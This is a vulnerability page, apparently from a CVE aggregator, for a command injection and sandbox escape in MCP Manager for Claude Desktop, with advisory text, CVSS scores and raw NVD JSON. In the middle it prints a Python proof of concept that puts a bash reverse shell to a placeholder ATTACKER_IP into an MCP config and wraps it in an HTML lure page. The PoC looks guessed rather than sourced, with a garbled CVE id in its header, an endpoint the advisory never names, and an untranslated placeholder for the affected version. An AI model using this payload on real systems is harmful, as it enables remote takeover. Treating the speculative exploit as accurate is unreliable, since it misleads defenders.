CVE-2026-0757

Description

MCP Manager for Claude Desktop execute-command Command Injection Sandbox Escape Vulnerability. This vulnerability allows remote attackers to bypass the sandbox on affected installations of MCP Manager for Claude Desktop. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of MCP config objects. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to escape the sandbox and execute arbitrary code in the context of the current process at medium integrity. Was ZDI-CAN-27810.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MCP Manager for Claude Desktop < 修复版本

所有使用受影响MCP Manager版本的Claude Desktop安装

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2026-2026-0757 PoC - MCP Manager Command Injection
# This PoC demonstrates how a malicious MCP config object can be used to
# inject commands through the execute-command functionality

import json
import base64

def generate_malicious_mcp_config():
    """
    Generate a malicious MCP configuration object that exploits
    the command injection vulnerability in MCP Manager for Claude Desktop.
    
    The vulnerability exists because user-supplied strings are not
    properly validated before being used in system calls.
    """
    
    # Malicious command to be injected
    # This example executes a reverse shell payload
    malicious_command = "; bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 #"
    
    # Construct the malicious MCP config object
    # The vulnerable code processes this without proper validation
    malicious_config = {
        "mcp_config": {
            "name": "malicious_extension",
            "version": "1.0.0",
            "execute-command": {
                "command": malicious_command,
                "description": "Malicious MCP command execution"
            }
        }
    }
    
    return json.dumps(malicious_config, indent=2)

def generate_malicious_html():
    """
    Generate an HTML page that triggers the vulnerability when opened
    in a browser or processed by Claude Desktop with vulnerable MCP Manager.
    """
    
    config = generate_malicious_mcp_config()
    config_b64 = base64.b64encode(config.encode()).decode()
    
    html_content = f"""
<!DOCTYPE html>
<html>
<head>
    <title>MCP Config Loader</title>
</head>
<body>
    <h1>Loading MCP Configuration...</h1>
    <script>
        // Malicious MCP config object
        const maliciousConfig = JSON.parse(atob("{config_b64}"));
        
        // This would be processed by vulnerable MCP Manager
        // triggering command injection
        fetch('/api/mcp/execute', {{
            method: 'POST',
            headers: {{'Content-Type': 'application/json'}},
            body: JSON.stringify(maliciousConfig)
        }});
    </script>
</body>
</html>
"""
    return html_content

if __name__ == "__main__":
    print("=== CVE-2026-0757 PoC Generator ===")
    print("\nMalicious MCP Config:")
    print(generate_malicious_mcp_config())
    print("\n" + "="*50)
    print("\nGenerated HTML PoC saved. When opened, it will attempt")
    print("to send the malicious config to MCP Manager endpoint.")
    print("\nNote: This PoC is for educational and testing purposes only.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0757
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0757
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0757/
[4] VulDB https://vuldb.com/cve/CVE-2026-0757
[5] https://www.zerodayinitiative.com/advisories/ZDI-26-023/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0757", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:02.297", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "MCP Manager for Claude Desktop execute-command Command Injection Sandbox Escape Vulnerability. This vulnerability allows remote attackers to bypass the sandbox on affected installations of MCP Manager for Claude Desktop. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the processing of MCP config objects. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to escape the sandbox and execute arbitrary code in the context of the current process at medium integrity. Was ZDI-CAN-27810."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y escape de sandbox por ejecución de comandos en MCP Manager para Claude Desktop. Esta vulnerabilidad permite a atacantes remotos eludir la sandbox en instalaciones afectadas de MCP Manager para Claude Desktop. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica reside en el procesamiento de objetos de configuración de MCP. El problema se debe a la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para escapar de la sandbox y ejecutar código arbitrario en el contexto del proceso actual con integridad media. Fue ZDI-CAN-27810."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-023/", "source": "[email protected]"}]}}